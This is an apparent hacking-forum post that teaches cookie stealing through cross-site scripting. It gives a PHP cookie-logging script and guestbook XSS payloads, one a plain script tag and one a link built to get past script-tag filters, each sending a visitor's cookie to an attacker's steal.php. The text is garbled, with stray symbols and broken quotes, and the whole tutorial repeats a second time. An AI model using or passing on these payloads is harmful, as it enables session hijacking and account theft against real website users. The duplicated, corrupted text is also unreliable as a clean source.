Cookie hacking 04-10-2011, 08:53 AM
#1
Cookiestealing is one of the most fundamental aspects of XSS (cross site
scripting).
Why is the cookie so important? Well, first you should see exactly what sort of
information is stored in a cookie. Go to a website that requires a login, and
after
logging in erase everything in your address bar and type this line of code:
Code:
jalert(document.cookie)After you press enter, you should see a pop-up window with
some information in it
(that is, if this site uses cookies). This is the data that is stored in your
cookie. Here s an
� example of what might be in your cookie: Code:
username=CyberPhreak; password=ilikepieThis is, of course, a very insecure cookie.
If any sort of vulnerability was found that
allowed for someone to view other people s cookies, every user account is possibly
� compromised. You ll be hard-pressed to find a site with cookies like these. � However, it
is very common (unfortunately) to find sites with hashes of passwords within the
cookie.
The reason that this is unfortunate is because hashes can be cracked, and
oftentimes
just knowing the hash is enough.
Now you know why cookies are important; they usually have important information
about the
user in them. But how would we go about getting or changing other userscookies?
� This is the process of cookiestealing. Cookiestealing is a two-part process. You need to have a script to accept the
cookie, and
you need to have a way of sending the cookie to your script. Writing the script to
accept
the cookie is the easy part, whereas finding a way to send it to your script is
the hard
part. I ll show you an example of a pHp script that accepts cookies:
� Code:
<?php
$cookie = $_GET['cookie'];
$log = fopen( log.txt ,a );
� � �� fwrite($log, $cookie . \n ); � � fclose($log);
?>And there you have it, a simple cookiestealer. The way this script works is that
it accepts
the cookie when it is passed as a variable, in this casecookiein the URL, and
� � then saves it to a file calledlog.txt . For example: � � Code:
http://yoursite.com/steal.php?cookie=steal.php is the filename of the script we
just wrote, ? lets the script know that we are
going to pass some variables to it, and after that we can set cookie equal to
whatever we want, but what we want to do is set cookie equal to the cookie from the site.
This
is the second and harder part of the cookiestealer.
Most websites apply some sort of filter to input, so that you can t directly � insert your
own code. XSS deals with finding exploits within filters, allowing you to put your
own
code into a website. This might sound difficult, and in most cases it s not easy,
� but it can be very simple. Any website that allows you to post text potentially allows you to insert your own
code
into the website. Some examples of these types of sites are forums, guestbooks,
any site
with amember profile , etc. And any of these sites that have users who log in
� � also
probably use cookies. Now you know what sort of sites might be vulnerable to
cookiestealing.
Let s assume that we have a website that someone made. This website has user login � capability as well as a guestbook. And let s also assume that this website doesn t � � have
any kind of filtering on what can be put into the guestbook. This means that you
can
put HTML and Javascript directly into your post in the guestbook. I ll give you an
� example of some code that we could put into a guestbook post that would send the user s � cookie to out script: Code: <script> document.location = http://yoursite.com/steal.php?cookie= + document.cookie; � � </script>Now whenever someone views the page that you posted this on, they will be
redirected to
your script with their cookie from this site in the URL. If you were to look at
log.txt
now, you d see the cookies of whoever looked at that page.
� But cookiestealing is never that easy. Let s assume now that the administrator of � this site got smart, and decided to filter out script tags. Now you code doesn t work, � so we have to try and evade the filter. In this instance, it s easy enough: � Code: <a href= jvoid(document.location= http://yoursite.com/steal.php?cookie= + � � � document.cookie) >Click Me</a>In this case, when the user clicks on the link they � will be sent to your stealer with their
cookie. Cookiestealing, as are all XSS attacks, is mostly about figuring out how
to get
around filters.
scripting).
Why is the cookie so important? Well, first you should see exactly what sort of
information is stored in a cookie. Go to a website that requires a login, and
after
logging in erase everything in your address bar and type this line of code:
Code:
jalert(document.cookie)After you press enter, you should see a pop-up window with
some information in it
(that is, if this site uses cookies). This is the data that is stored in your
cookie. Here s an
� example of what might be in your cookie: Code:
username=CyberPhreak; password=ilikepieThis is, of course, a very insecure cookie.
If any sort of vulnerability was found that
allowed for someone to view other people s cookies, every user account is possibly
� compromised. You ll be hard-pressed to find a site with cookies like these. � However, it
is very common (unfortunately) to find sites with hashes of passwords within the
cookie.
The reason that this is unfortunate is because hashes can be cracked, and
oftentimes
just knowing the hash is enough.
Now you know why cookies are important; they usually have important information
about the
user in them. But how would we go about getting or changing other userscookies?
� This is the process of cookiestealing. Cookiestealing is a two-part process. You need to have a script to accept the
cookie, and
you need to have a way of sending the cookie to your script. Writing the script to
accept
the cookie is the easy part, whereas finding a way to send it to your script is
the hard
part. I ll show you an example of a pHp script that accepts cookies:
� Code:
<?php
$cookie = $_GET['cookie'];
$log = fopen( log.txt ,a );
� � �� fwrite($log, $cookie . \n ); � � fclose($log);
?>And there you have it, a simple cookiestealer. The way this script works is that
it accepts
the cookie when it is passed as a variable, in this casecookiein the URL, and
� � then saves it to a file calledlog.txt . For example: � � Code:
http://yoursite.com/steal.php?cookie=steal.php is the filename of the script we
just wrote, ? lets the script know that we are
going to pass some variables to it, and after that we can set cookie equal to
whatever we want, but what we want to do is set cookie equal to the cookie from the site.
This
is the second and harder part of the cookiestealer.
Most websites apply some sort of filter to input, so that you can t directly � insert your
own code. XSS deals with finding exploits within filters, allowing you to put your
own
code into a website. This might sound difficult, and in most cases it s not easy,
� but it can be very simple. Any website that allows you to post text potentially allows you to insert your own
code
into the website. Some examples of these types of sites are forums, guestbooks,
any site
with amember profile , etc. And any of these sites that have users who log in
� � also
probably use cookies. Now you know what sort of sites might be vulnerable to
cookiestealing.
Let s assume that we have a website that someone made. This website has user login � capability as well as a guestbook. And let s also assume that this website doesn t � � have
any kind of filtering on what can be put into the guestbook. This means that you
can
put HTML and Javascript directly into your post in the guestbook. I ll give you an
� example of some code that we could put into a guestbook post that would send the user s � cookie to out script: Code: <script> document.location = http://yoursite.com/steal.php?cookie= + document.cookie; � � </script>Now whenever someone views the page that you posted this on, they will be
redirected to
your script with their cookie from this site in the URL. If you were to look at
log.txt
now, you d see the cookies of whoever looked at that page.
� But cookiestealing is never that easy. Let s assume now that the administrator of � this site got smart, and decided to filter out script tags. Now you code doesn t work, � so we have to try and evade the filter. In this instance, it s easy enough: � Code: <a href= jvoid(document.location= http://yoursite.com/steal.php?cookie= + � � � document.cookie) >Click Me</a>In this case, when the user clicks on the link they � will be sent to your stealer with their
cookie. Cookiestealing, as are all XSS attacks, is mostly about figuring out how
to get
around filters.
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
